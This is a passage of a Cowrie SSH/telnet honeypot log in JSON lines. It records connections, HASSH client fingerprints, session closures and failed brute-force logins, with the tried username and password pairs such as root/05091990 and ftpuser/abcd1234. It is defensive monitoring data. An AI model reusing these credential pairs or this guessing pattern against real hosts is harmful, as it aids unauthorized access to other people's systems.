hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:39:53.927152Z","src_ip":"103.176.20.57","session":"f456e5b90780","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"05091990","message":"login attempt [root/05091990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:39:54.701805Z","src_ip":"103.176.20.57","session":"f456e5b90780","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:39:55.959443Z","src_ip":"103.176.20.57","session":"f456e5b90780","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44014,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9c005521616","protocol":"telnet","message":"New connection: 128.199.8.54:44014 (159.203.135.109:23) [session: e9c005521616]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:40:01.630490Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":45784,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1a298eff46e","protocol":"ssh","message":"New connection: 103.77.242.62:45784 (10.17.0.5:22) [session: f1a298eff46e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:40:03.400587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:40:03.406846Z","src_ip":"103.77.242.62","session":"f1a298eff46e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:40:03.656052Z","src_ip":"103.77.242.62","session":"f1a298eff46e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"22061981","message":"login attempt [root/22061981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:40:04.393867Z","src_ip":"103.77.242.62","session":"f1a298eff46e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:40:05.641460Z","src_ip":"103.77.242.62","session":"f1a298eff46e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.50.236","src_port":40318,"dst_ip":"159.203.135.109","dst_port":22,"session":"69be17117dc7","protocol":"ssh","message":"New connection: 161.132.50.236:40318 (159.203.135.109:22) [session: 69be17117dc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:40:48.679109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:40:48.684356Z","src_ip":"161.132.50.236","session":"69be17117dc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:40:48.772980Z","src_ip":"161.132.50.236","session":"69be17117dc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"abcd1234","message":"login attempt [ftpuser/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:40:49.166364Z","src_ip":"161.132.50.236","session":"69be17117dc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:40:50.258241Z","src_ip":"161.132.50.236","session":"69be17117dc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.757203817367554,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:40:58.387603Z","src_ip":"128.199.8.54","session":"e9c005521616","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":36156,"dst_ip":"10.17.0.5","dst_port":22,"session":"a94f4cabc69e","protocol":"ssh","message":"New connection: 14.63.196.175:36156 (10.17.0.5:22) [session: a94f4cabc69e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:41:08.361343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:41:08.365707Z","src_ip":"14.63.196.175","session":"a94f4cabc69e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:41:08.573949Z","src_ip":"14.63.196.175","session":"a94f4cabc69e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":49610,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a82ad9e7dcd","protocol":"telnet","message":"New connection: 172.81.62.90:49610 (159.203.135.109:23) [session: 2a82ad9e7dcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:41:09.196870Z"}
{"eventid":"cowrie.login.failed","username":"git","password":"0","message":"login attempt [git/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:41:09.427461Z","src_ip":"14.63.196.175","session":"a94f4cabc69e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:41:10.634835Z","src_ip":"14.63.196.175","session":"a94f4cabc69e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":43844,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9876930dffc","protocol":"telnet","message":"New connection: 172.81.62.90:43844 (159.203.135.109:23) [session: c9876930dffc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:41:22.751842Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":53194,"dst_ip":"159.203.135.109","dst_port":22,"session":"88ba878f0f41","protocol":"ssh","message":"New connection: 103.122.221.179:53194 (159.203.135.109:22) [session: 88ba878f0f41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:41:42.961531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:41:42.965758Z","src_ip":"103.122.221.179","session":"88ba878f0f41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:41:43.222697Z","src_ip":"103.122.221.179","session":"88ba878f0f41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"static","message":"login attempt [root/static] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:41:43.992716Z","src_ip":"103.122.221.179","session":"88ba878f0f41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:41:45.250834Z","src_ip":"103.122.221.179","session":"88ba878f0f41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.62228560447693,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:41:45.819012Z","src_ip":"172.81.62.90","session":"2a82ad9e7dcd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":60782,"dst_ip":"10.17.0.5","dst_port":22,"session":"61931de1183a","protocol":"ssh","message":"New connection: 147.45.199.80:60782 (10.17.0.5:22) [session: 61931de1183a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:41:54.396755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:41:54.401111Z","src_ip":"147.45.199.80","session":"61931de1183a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:41:54.498929Z","src_ip":"147.45.199.80","session":"61931de1183a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"150984","message":"login attempt [root/150984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:41:54.785290Z","src_ip":"147.45.199.80","session":"61931de1183a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:41:55.882143Z","src_ip":"147.45.199.80","session":"61931de1183a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":60490,"dst_ip":"10.17.0.5","dst_port":22,"session":"733eb5e95083","protocol":"ssh","message":"New connection: 27.71.230.31:60490 (10.17.0.5:22) [session: 733eb5e95083]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:41:56.929944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:41:56.988729Z","src_ip":"27.71.230.31","session":"733eb5e95083","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:41:57.166103Z","src_ip":"27.71.230.31","session":"733eb5e95083","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"king@1234","message":"login attempt [root/king@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:42:00.280299Z","src_ip":"27.71.230.31","session":"733eb5e95083","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:42:02.313730Z","src_ip":"27.71.230.31","session":"733eb5e95083","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.53015756607056,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:42:03.281835Z","src_ip":"172.81.62.90","session":"c9876930dffc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":59650,"dst_ip":"159.203.135.109","dst_port":23,"session":"288baa97c89d","protocol":"telnet","message":"New connection: 107.6.151.170:59650 (159.203.135.109:23) [session: 288baa97c89d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:42:05.196285Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":33554,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc889ecf3e7d","protocol":"ssh","message":"New connection: 77.94.47.83:33554 (159.203.135.109:22) [session: bc889ecf3e7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:42:25.954045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:42:25.958773Z","src_ip":"77.94.47.83","session":"bc889ecf3e7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:42:26.066526Z","src_ip":"77.94.47.83","session":"bc889ecf3e7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"120478","message":"login attempt [root/120478] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:42:26.391909Z","src_ip":"77.94.47.83","session":"bc889ecf3e7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":60368,"dst_ip":"10.17.0.5","dst_port":22,"session":"60f485c47eff","protocol":"ssh","message":"New connection: 37.233.85.71:60368 (10.17.0.5:22) [session: 60f485c47eff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:42:27.388696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:42:27.393040Z","src_ip":"37.233.85.71","session":"60f485c47eff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-s